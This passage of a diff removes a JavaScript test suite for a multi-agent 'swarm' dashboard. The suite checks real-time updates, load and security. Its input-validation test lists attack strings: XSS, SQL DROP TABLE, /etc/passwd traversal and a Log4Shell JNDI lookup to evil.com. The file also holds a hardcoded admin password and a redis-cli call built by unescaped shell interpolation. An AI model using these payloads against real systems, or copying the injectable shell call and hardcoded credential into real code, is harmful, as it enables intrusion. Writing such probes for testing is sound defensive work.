|
|
184
|
-
} else {
|
|
185
|
-
console.log(`ā ${header}: Expected ${expectedValue}, got ${actualValue}`);
|
|
186
|
-
}
|
|
187
|
-
}
|
|
188
|
-
|
|
189
|
-
} catch (error) {
|
|
190
|
-
console.error('ā CSP test failed:', error.message);
|
|
191
|
-
this.testResults.csp.error = error.message;
|
|
192
|
-
}
|
|
193
|
-
}
|
|
194
|
-
|
|
195
|
-
async testRealtimeUpdates() {
|
|
196
|
-
console.log('\nā” Testing Real-time Updates');
|
|
197
|
-
console.log('-'.repeat(40));
|
|
198
|
-
|
|
199
|
-
return new Promise((resolve, reject) => {
|
|
200
|
-
try {
|
|
201
|
-
let updateCount = 0;
|
|
202
|
-
let lastUpdateTime = Date.now();
|
|
203
|
-
const updateIntervals = [];
|
|
204
|
-
|
|
205
|
-
this.socket = io(this.baseURL);
|
|
206
|
-
|
|
207
|
-
this.socket.on('connect', () => {
|
|
208
|
-
console.log('ā
Socket connected');
|
|
209
|
-
this.testResults.realtime.connection = true;
|
|
210
|
-
});
|
|
211
|
-
|
|
212
|
-
this.socket.on('metrics', (data) => {
|
|
213
|
-
updateCount++;
|
|
214
|
-
const now = Date.now();
|
|
215
|
-
const interval = now - lastUpdateTime;
|
|
216
|
-
updateIntervals.push(interval);
|
|
217
|
-
lastUpdateTime = now;
|
|
218
|
-
|
|
219
|
-
this.metrics.push({
|
|
220
|
-
timestamp: now,
|
|
221
|
-
data: data
|
|
222
|
-
});
|
|
223
|
-
|
|
224
|
-
console.log(`š Update ${updateCount}: ${interval}ms interval`);
|
|
225
|
-
|
|
226
|
-
// Test update frequency (should be ~1000ms)
|
|
227
|
-
if (updateCount >= 5) {
|
|
228
|
-
const avgInterval = updateIntervals.reduce((a, b) => a + b, 0) / updateIntervals.length;
|
|
229
|
-
this.testResults.realtime.averageInterval = avgInterval;
|
|
230
|
-
this.testResults.realtime.updateCount = updateCount;
|
|
231
|
-
this.testResults.realtime.frequencyStable = Math.abs(avgInterval - 1000) < 200;
|
|
232
|
-
|
|
233
|
-
if (this.testResults.realtime.frequencyStable) {
|
|
234
|
-
console.log(`ā
Real-time updates stable: ${avgInterval.toFixed(0)}ms average`);
|
|
235
|
-
} else {
|
|
236
|
-
console.log(`ā Update frequency unstable: ${avgInterval.toFixed(0)}ms average`);
|
|
237
|
-
}
|
|
238
|
-
|
|
239
|
-
this.socket.disconnect();
|
|
240
|
-
resolve();
|
|
241
|
-
}
|
|
242
|
-
});
|
|
243
|
-
|
|
244
|
-
this.socket.on('connect_error', (error) => {
|
|
245
|
-
console.error('ā Socket connection failed:', error.message);
|
|
246
|
-
this.testResults.realtime.connection = false;
|
|
247
|
-
this.testResults.realtime.error = error.message;
|
|
248
|
-
reject(error);
|
|
249
|
-
});
|
|
250
|
-
|
|
251
|
-
// Timeout after 10 seconds
|
|
252
|
-
setTimeout(() => {
|
|
253
|
-
if (updateCount < 5) {
|
|
254
|
-
console.log('ā Real-time updates timeout');
|
|
255
|
-
this.testResults.realtime.timeout = true;
|
|
256
|
-
this.socket.disconnect();
|
|
257
|
-
resolve();
|
|
258
|
-
}
|
|
259
|
-
}, 10000);
|
|
260
|
-
|
|
261
|
-
} catch (error) {
|
|
262
|
-
console.error('ā Real-time test failed:', error.message);
|
|
263
|
-
this.testResults.realtime.error = error.message;
|
|
264
|
-
reject(error);
|
|
265
|
-
}
|
|
266
|
-
});
|
|
267
|
-
}
|
|
268
|
-
|
|
269
|
-
async testMultiSwarmExecution() {
|
|
270
|
-
console.log('\nš Testing Multi-Swarm Execution Display');
|
|
271
|
-
console.log('-'.repeat(40));
|
|
272
|
-
|
|
273
|
-
try {
|
|
274
|
-
// Start multiple swarms in parallel
|
|
275
|
-
const swarmPromises = [];
|
|
276
|
-
const swarmCount = 15;
|
|
277
|
-
|
|
278
|
-
console.log(`š Starting ${swarmCount} parallel swarms...`);
|
|
279
|
-
|
|
280
|
-
for (let i = 0; i < swarmCount; i++) {
|
|
281
|
-
const swarmPromise = this.runTestSwarm(`test-swarm-${i}`, `Test task ${i}`);
|
|
282
|
-
swarmPromises.push(swarmPromise);
|
|
283
|
-
}
|
|
284
|
-
|
|
285
|
-
// Monitor swarm metrics
|
|
286
|
-
const startTime = Date.now();
|
|
287
|
-
const swarmResults = await Promise.allSettled(swarmPromises);
|
|
288
|
-
const endTime = Date.now();
|
|
289
|
-
|
|
290
|
-
// Test swarm metrics API
|
|
291
|
-
const metricsResponse = await axios.get(`${this.baseURL}/api/swarms`);
|
|
292
|
-
const swarmMetrics = metricsResponse.data;
|
|
293
|
-
|
|
294
|
-
this.testResults.multiSwarm = {
|
|
295
|
-
swarmsStarted: swarmCount,
|
|
296
|
-
swarmsCompleted: swarmResults.filter(r => r.status === 'fulfilled').length,
|
|
297
|
-
executionTime: endTime - startTime,
|
|
298
|
-
metricsAPIWorking: !!swarmMetrics,
|
|
299
|
-
hasSwarmData: Array.isArray(swarmMetrics) && swarmMetrics.length > 0,
|
|
300
|
-
averageExecutionTime: (endTime - startTime) / swarmCount
|
|
301
|
-
};
|
|
302
|
-
|
|
303
|
-
console.log(`ā
Multi-swarm execution completed`);
|
|
304
|
-
console.log(` š Swarms completed: ${this.testResults.multiSwarm.swarmsCompleted}/${swarmCount}`);
|
|
305
|
-
console.log(` ā±ļø Average time: ${this.testResults.multiSwarm.averageExecutionTime.toFixed(0)}ms`);
|
|
306
|
-
|
|
307
|
-
} catch (error) {
|
|
308
|
-
console.error('ā Multi-swarm test failed:', error.message);
|
|
309
|
-
this.testResults.multiSwarm.error = error.message;
|
|
310
|
-
}
|
|
311
|
-
}
|
|
312
|
-
|
|
313
|
-
async runTestSwarm(swarmId, task) {
|
|
314
|
-
try {
|
|
315
|
-
// Simulate swarm execution with delays
|
|
316
|
-
await new Promise(resolve => setTimeout(resolve, Math.random() * 2000 + 1000));
|
|
317
|
-
|
|
318
|
-
// Store swarm data in Redis for dashboard display
|
|
319
|
-
const swarmData = {
|
|
320
|
-
id: swarmId,
|
|
321
|
-
status: 'completed',
|
|
322
|
-
task: task,
|
|
323
|
-
agents: Math.floor(Math.random() * 5) + 3,
|
|
324
|
-
startTime: new Date(Date.now() - 5000).toISOString(),
|
|
325
|
-
endTime: new Date().toISOString(),
|
|
326
|
-
confidence: Math.random() * 0.3 + 0.7
|
|
327
|
-
};
|
|
328
|
-
|
|
329
|
-
// Store in Redis for dashboard to read
|
|
330
|
-
await this.storeSwarmData(swarmId, swarmData);
|
|
331
|
-
|
|
332
|
-
return swarmData;
|
|
333
|
-
} catch (error) {
|
|
334
|
-
console.error(`Swarm ${swarmId} failed:`, error.message);
|
|
335
|
-
throw error;
|
|
336
|
-
}
|
|
337
|
-
}
|
|
338
|
-
|
|
339
|
-
async storeSwarmData(swarmId, data) {
|
|
340
|
-
try {
|
|
341
|
-
// Use Redis to store swarm data
|
|
342
|
-
const { execSync } = await import('child_process');
|
|
343
|
-
const key = `swarm:${swarmId}`;
|
|
344
|
-
const value = JSON.stringify(data);
|
|
345
|
-
|
|
346
|
-
execSync(`redis-cli setex "${key}" 3600 '${value}'`, { stdio: 'pipe' });
|
|
347
|
-
} catch (error) {
|
|
348
|
-
console.error('Failed to store swarm data:', error.message);
|
|
349
|
-
}
|
|
350
|
-
}
|
|
351
|
-
|
|
352
|
-
async testPerformanceWithLargeSwarm() {
|
|
353
|
-
console.log('\nš Performance Testing with 1000+ Agents');
|
|
354
|
-
console.log('-'.repeat(40));
|
|
355
|
-
|
|
356
|
-
try {
|
|
357
|
-
const agentCount = 1000;
|
|
358
|
-
const startTime = performance.now();
|
|
359
|
-
|
|
360
|
-
console.log(`š¤ Simulating ${agentCount} agents...`);
|
|
361
|
-
|
|
362
|
-
// Simulate large agent deployment
|
|
363
|
-
const agentPromises = [];
|
|
364
|
-
for (let i = 0; i < agentCount; i++) {
|
|
365
|
-
agentPromises.push(this.simulateAgentWork(`agent-${i}`));
|
|
366
|
-
}
|
|
367
|
-
|
|
368
|
-
// Monitor system during execution
|
|
369
|
-
const monitoringInterval = setInterval(async () => {
|
|
370
|
-
try {
|
|
371
|
-
const metricsResponse = await axios.get(`${this.baseURL}/api/metrics`);
|
|
372
|
-
const metrics = metricsResponse.data;
|
|
373
|
-
|
|
374
|
-
console.log(`š CPU: ${metrics.system?.cpu?.usage || 'N/A'}% | Memory: ${metrics.system?.memory?.percent || 'N/A'}%`);
|
|
375
|
-
} catch (error) {
|
|
376
|
-
// Ignore monitoring errors during performance test
|
|
377
|
-
}
|
|
378
|
-
}, 1000);
|
|
379
|
-
|
|
380
|
-
const results = await Promise.allSettled(agentPromises);
|
|
381
|
-
clearInterval(monitoringInterval);
|
|
382
|
-
|
|
383
|
-
const endTime = performance.now();
|
|
384
|
-
const executionTime = endTime - startTime;
|
|
385
|
-
const successfulAgents = results.filter(r => r.status === 'fulfilled').length;
|
|
386
|
-
|
|
387
|
-
this.testResults.performance = {
|
|
388
|
-
agentCount: agentCount,
|
|
389
|
-
successfulAgents: successfulAgents,
|
|
390
|
-
failedAgents: agentCount - successfulAgents,
|
|
391
|
-
executionTime: executionTime,
|
|
392
|
-
throughput: (successfulAgents / executionTime) * 1000, // agents per second
|
|
393
|
-
averageAgentTime: executionTime / agentCount,
|
|
394
|
-
systemStable: successfulAgents > agentCount * 0.95 // 95% success rate
|
|
395
|
-
};
|
|
396
|
-
|
|
397
|
-
console.log(`ā
Performance test completed`);
|
|
398
|
-
console.log(` š¤ Agents: ${successfulAgents}/${agentCount} successful`);
|
|
399
|
-
console.log(` ā” Throughput: ${this.testResults.performance.throughput.toFixed(2)} agents/sec`);
|
|
400
|
-
console.log(` š System stable: ${this.testResults.performance.systemStable}`);
|
|
401
|
-
|
|
402
|
-
} catch (error) {
|
|
403
|
-
console.error('ā Performance test failed:', error.message);
|
|
404
|
-
this.testResults.performance.error = error.message;
|
|
405
|
-
}
|
|
406
|
-
}
|
|
407
|
-
|
|
408
|
-
async simulateAgentWork(agentId) {
|
|
409
|
-
try {
|
|
410
|
-
// Simulate agent work with random delays
|
|
411
|
-
const workTime = Math.random() * 100 + 50; // 50-150ms
|
|
412
|
-
await new Promise(resolve => setTimeout(resolve, workTime));
|
|
413
|
-
|
|
414
|
-
return {
|
|
415
|
-
agentId: agentId,
|
|
416
|
-
workTime: workTime,
|
|
417
|
-
success: true
|
|
418
|
-
};
|
|
419
|
-
} catch (error) {
|
|
420
|
-
return {
|
|
421
|
-
agentId: agentId,
|
|
422
|
-
success: false,
|
|
423
|
-
error: error.message
|
|
424
|
-
};
|
|
425
|
-
}
|
|
426
|
-
}
|
|
427
|
-
|
|
428
|
-
async testSecurityHardening() {
|
|
429
|
-
console.log('\nš Testing Security Hardening');
|
|
430
|
-
console.log('-'.repeat(40));
|
|
431
|
-
|
|
432
|
-
try {
|
|
433
|
-
// Test rate limiting
|
|
434
|
-
const rateLimitTest = await this.testRateLimiting();
|
|
435
|
-
|
|
436
|
-
// Test input validation
|
|
437
|
-
const inputValidationTest = await this.testInputValidation();
|
|
438
|
-
|
|
439
|
-
// Test session management
|
|
440
|
-
const sessionTest = await this.testSessionManagement();
|
|
441
|
-
|
|
442
|
-
this.testResults.security = {
|
|
443
|
-
rateLimiting: rateLimitTest,
|
|
444
|
-
inputValidation: inputValidationTest,
|
|
445
|
-
sessionManagement: sessionTest,
|
|
446
|
-
overallSecurity: rateLimitTest && inputValidationTest && sessionTest
|
|
447
|
-
};
|
|
448
|
-
|
|
449
|
-
console.log(`ā
Security hardening tests completed`);
|
|
450
|
-
console.log(` š« Rate limiting: ${rateLimitTest ? 'Working' : 'Failed'}`);
|
|
451
|
-
console.log(` ā
Input validation: ${inputValidationTest ? 'Working' : 'Failed'}`);
|
|
452
|
-
console.log(` š Session management: ${sessionTest ? 'Working' : 'Failed'}`);
|
|
453
|
-
|
|
454
|
-
} catch (error) {
|
|
455
|
-
console.error('ā Security test failed:', error.message);
|
|
456
|
-
this.testResults.security.error = error.message;
|
|
457
|
-
}
|
|
458
|
-
}
|
|
459
|
-
|
|
460
|
-
async testRateLimiting() {
|
|
461
|
-
try {
|
|
462
|
-
// Make multiple rapid requests to test rate limiting
|
|
463
|
-
const requests = [];
|
|
464
|
-
for (let i = 0; i < 20; i++) {
|
|
465
|
-
requests.push(axios.get(`${this.baseURL}/api/metrics`));
|
|
466
|
-
}
|
|
467
|
-
|
|
468
|
-
const results = await Promise.allSettled(requests);
|
|
469
|
-
const rejectedRequests = results.filter(r => r.status === 'rejected').length;
|
|
470
|
-
|
|
471
|
-
// If some requests are rejected, rate limiting is working
|
|
472
|
-
return rejectedRequests > 0;
|
|
473
|
-
} catch (error) {
|
|
474
|
-
return false;
|
|
475
|
-
}
|
|
476
|
-
}
|
|
477
|
-
|
|
478
|
-
async testInputValidation() {
|
|
479
|
-
try {
|
|
480
|
-
// Test malicious input
|
|
481
|
-
const maliciousInputs = [
|
|
482
|
-
'<script>alert("xss")</script>',
|
|
483
|
-
"'; DROP TABLE users; --",
|
|
484
|
-
'../../../etc/passwd',
|
|
485
|
-
'${jndi:ldap://evil.com/a}'
|
|
486
|
-
];
|
|
487
|
-
|
|
488
|
-
for (const input of maliciousInputs) {
|
|
489
|
-
try {
|
|
490
|
-
await axios.post(`${this.baseURL}/api/auth/login`, {
|
|
491
|
-
username: input,
|
|
492
|
-
password: 'test'
|
|
493
|
-
});
|
|
494
|
-
} catch (error) {
|
|
495
|
-
// Expected to fail
|
|
496
|
-
continue;
|
|
497
|
-
}
|
|
498
|
-
}
|
|
499
|
-
|
|
500
|
-
return true;
|
|
501
|
-
} catch (error) {
|
|
502
|
-
return false;
|
|
503
|
-
}
|
|
504
|
-
}
|
|
505
|
-
|
|
506
|
-
async testSessionManagement() {
|
|
507
|
-
try {
|
|
508
|
-
// Test session timeout
|
|
509
|
-
const response = await axios.post(`${this.baseURL}/api/auth/login`, {
|
|
510
|
-
username: 'admin',
|
|
511
|
-
password: 'claude2025'
|
|
512
|
-
});
|
|
513
|
-
|
|
514
|
-
const token = response.data.token;
|
|
515
|
-
|
|
516
|
-
// Test token verification
|
|
517
|
-
const verifyResponse = await axios.post(`${this.baseURL}/api/auth/verify`, {
|
|
518
|
-
token: token
|
|
519
|
-
});
|
|
520
|
-
|
|
521
|
-
return verifyResponse.data.success && verifyResponse.data.valid;
|
|
522
|
-
} catch (error) {
|
|
523
|
-
return false;
|
|
524
|
-
}
|
|
525
|
-
}
|
|
526
|
-
|
|
527
|
-
async generateTestReport() {
|
|
528
|
-
console.log('\nš Generating Comprehensive Test Report');
|
|
529
|
-
console.log('=' .repeat(60));
|
|
530
|
-
|
|
531
|
-
const testEndTime = performance.now();
|
|
532
|
-
const totalTestTime = testEndTime - this.testStartTime;
|
|
533
|
-
|
|
534
|
-
// Calculate overall success rate
|
|
535
|
-
const testCategories = Object.keys(this.testResults);
|
|
536
|
-
const successfulCategories = testCategories.filter(cat => {
|
|
537
|
-
const result = this.testResults[cat];
|
|
538
|
-
return result && !result.error && (result.overallSecurity !== false);
|
|
539
|
-
});
|
|
540
|
-
|
|
541
|
-
const overallSuccessRate = (successfulCategories.length / testCategories.length) * 100;
|
|
542
|
-
|
|
543
|
-
const report = {
|
|
544
|
-
summary: {
|
|
545
|
-
testStartTime: new Date(this.testStartTime).toISOString(),
|
|
546
|
-
testEndTime: new Date(testEndTime).toISOString(),
|
|
547
|
-
totalTestTime: `${totalTestTime.toFixed(2)}ms`,
|
|
548
|
-
overallSuccessRate: `${overallSuccessRate.toFixed(1)}%`,
|
|
549
|
-
categoriesPassed: successfulCategories.length,
|
|
550
|
-
totalCategories: testCategories.length
|
|
551
|
-
},
|
|
552
|
-
results: this.testResults,
|
|
553
|
-
recommendations: this.generateRecommendations(),
|
|
554
|
-
productionReadiness: this.assessProductionReadiness()
|
|
555
|
-
};
|
|
556
|
-
|
|
557
|
-
// Save detailed report
|
|
558
|
-
const reportPath = '/mnt/c/Users/masha/Documents/claude-flow-novice/DASHBOARD_COMPREHENSIVE_TEST_REPORT.json';
|
|
559
|
-
await import('fs').then(fs => {
|
|
560
|
-
fs.writeFileSync(reportPath, JSON.stringify(report, null, 2));
|
|
561
|
-
});
|
|
562
|
-
|
|
563
|
-
// Print summary
|
|
564
|
-
console.log('\nš Test Results Summary:');
|
|
565
|
-
console.log(` ā±ļø Total test time: ${report.summary.totalTestTime}`);
|
|
566
|
-
console.log(` ā
Success rate: ${report.summary.overallSuccessRate}`);
|
|
567
|
-
console.log(` š Categories passed: ${report.summary.categoriesPassed}/${report.summary.totalCategories}`);
|
|
568
|
-
|
|
569
|
-
console.log('\nš Category Results:');
|
|
570
|
-
for (const [category, result] of Object.entries(this.testResults)) {
|
|
571
|
-
const status = result.error ? 'ā FAILED' : 'ā
PASSED';
|
|
572
|
-
console.log(` ${status} ${category.charAt(0).toUpperCase() + category.slice(1)}`);
|
|
573
|
-
}
|
|
574
|
-
|
|
575
|
-
console.log('\nšÆ Production Readiness:', report.productionReadiness.status);
|
|
576
|
-
console.log(` š Score: ${report.productionReadiness.score}/100`);
|
|
577
|
-
console.log(` š ${report.productionReadiness.assessment}`);
|
|
578
|
-
|
|
579
|
-
console.log('\nš” Key Recommendations:');
|
|
580
|
-
report.recommendations.slice(0, 5).forEach(rec => {
|
|
581
|
-
console.log(` ⢠${rec}`);
|
|
582
|
-
});
|
|
583
|
-
|
|
584
|
-
console.log(`\nš Detailed report saved to: ${reportPath}`);
|
|
585
|
-
|
|
586
|
-
return report;
|
|
587
|
-
}
|
|
588
|
-
|
|
589
|
-
generateRecommendations() {
|
|
590
|
-
const recommendations = [];
|
|
591
|
-
|
|
592
|
-
// Analyze test results and generate recommendations
|
|
593
|
-
if (!this.testResults.authentication?.tokenVerification?.valid) {
|
|
594
|
-
recommendations.push('Implement stronger token validation and refresh mechanisms');
|
|
595
|
-
}
|
|
596
|
-
|
|
597
|
-
if (!this.testResults.csp?.cspHeaderPresent) {
|
|
598
|
-
recommendations.push('Add Content Security Policy headers to prevent XSS attacks');
|
|
599
|
-
}
|
|
600
|
-
|
|
601
|
-
if (!this.testResults.realtime?.frequencyStable) {
|
|
602
|
-
recommendations.push('Optimize WebSocket connection for more stable real-time updates');
|
|
603
|
-
}
|
|
604
|
-
|
|
605
|
-
if (!this.testResults.multiSwarm?.metricsAPIWorking) {
|
|
606
|
-
recommendations.push('Fix swarm metrics API for better multi-swarm monitoring');
|
|
607
|
-
}
|
|
608
|
-
|
|
609
|
-
if (!this.testResults.performance?.systemStable) {
|
|
610
|
-
recommendations.push('Optimize system performance for large-scale agent deployments');
|
|
611
|
-
}
|
|
612
|
-
|
|
613
|
-
if (!this.testResults.security?.overallSecurity) {
|
|
614
|
-
recommendations.push('Strengthen security measures including rate limiting and input validation');
|
|
615
|
-
}
|
|
616
|
-
|
|
617
|
-
if (recommendations.length === 0) {
|
|
618
|
-
recommendations.push('All systems are performing well - consider implementing advanced monitoring and alerting');
|
|
619
|
-
}
|
|
620
|
-
|
|
621
|
-
return recommendations;
|
|
622
|
-
}
|
|
623
|
-
|
|
624
|
-
assessProductionReadiness() {
|
|
625
|
-
let score = 0;
|
|
626
|
-
const maxScore = 100;
|
|
627
|
-
|
|
628
|
-
// Score each category
|
|
629
|
-
const categoryScores = {
|
|
630
|
-
authentication: 20,
|
|
631
|
-
csp: 15,
|
|
632
|
-
realtime: 20,
|
|
633
|
-
multiSwarm: 20,
|
|
634
|
-
performance: 15,
|
|
635
|
-
security: 10
|
|
636
|
-
};
|
|
637
|
-
|
|
638
|
-
for (const [category, maxPoints] of Object.entries(categoryScores)) {
|
|
639
|
-
const result = this.testResults[category];
|
|
640
|
-
if (result && !result.error) {
|
|
641
|
-
if (category === 'performance' && result.systemStable) {
|
|
642
|
-
score += maxPoints;
|
|
643
|
-
} else if (category === 'security' && result.overallSecurity) {
|
|
644
|
-
score += maxPoints;
|
|
645
|
-
} else if (category !== 'performance' && category !== 'security') {
|
|
646
|
-
score += maxPoints;
|
|
647
|
-
}
|
|
648
|
-
}
|
|
649
|
-
}
|
|
650
|
-
|
|
651
|
-
let status, assessment;
|
|
652
|
-
if (score >= 90) {
|
|
653
|
-
status = 'š¢ PRODUCTION READY';
|
|
654
|
-
assessment = 'Excellent - All critical systems functioning properly';
|
|
655
|
-
} else if (score >= 75) {
|
|
656
|
-
status = 'š” READY WITH CAVEATS';
|
|
657
|
-
assessment = 'Good - Minor issues should be addressed before production';
|
|
658
|
-
} else if (score >= 60) {
|
|
659
|
-
status = 'š NEEDS IMPROVEMENT';
|
|
660
|
-
assessment = 'Fair - Significant issues need to be resolved';
|
|
661
|
-
} else {
|
|
662
|
-
status = 'š“ NOT READY';
|
|
663
|
-
assessment = 'Poor - Critical issues must be fixed before production';
|
|
664
|
-
}
|
|
665
|
-
|
|
666
|
-
return {
|
|
667
|
-
score,
|
|
668
|
-
status,
|
|
669
|
-
assessment
|
|
670
|
-
};
|
|
671
|
-
}
|
|
672
|
-
}
|
|
673
|
-
|
|
674
|
-
// Run the comprehensive test suite
|
|
675
|
-
async function main() {
|
|
676
|
-
const testSuite = new DashboardTestSuite();
|
|
677
|
-
|
|
678
|
-
try {
|
|
679
|
-
const report = await testSuite.runAllTests();
|
|
680
|
-
console.log('\nš Comprehensive dashboard testing completed!');
|
|
681
|
-
process.exit(0);
|
|
682
|
-
} catch (error) {
|
|
683
|
-
console.error('\nš„ Test suite failed:', error);
|
|
684
|
-
process.exit(1);
|
|
685
|
-
}
|
|
686
|
-
}
|
|
687
|
-
|
|
688
|
-
// Run if executed directly
|
|
689
|
-
if (import.meta.url === `file://${process.argv[1]}`) {
|
|
690
|
-
main();
|
|
691
|
-
}
|
|
692
|
-
|
|
693
|
-
export { DashboardTestSuite };
|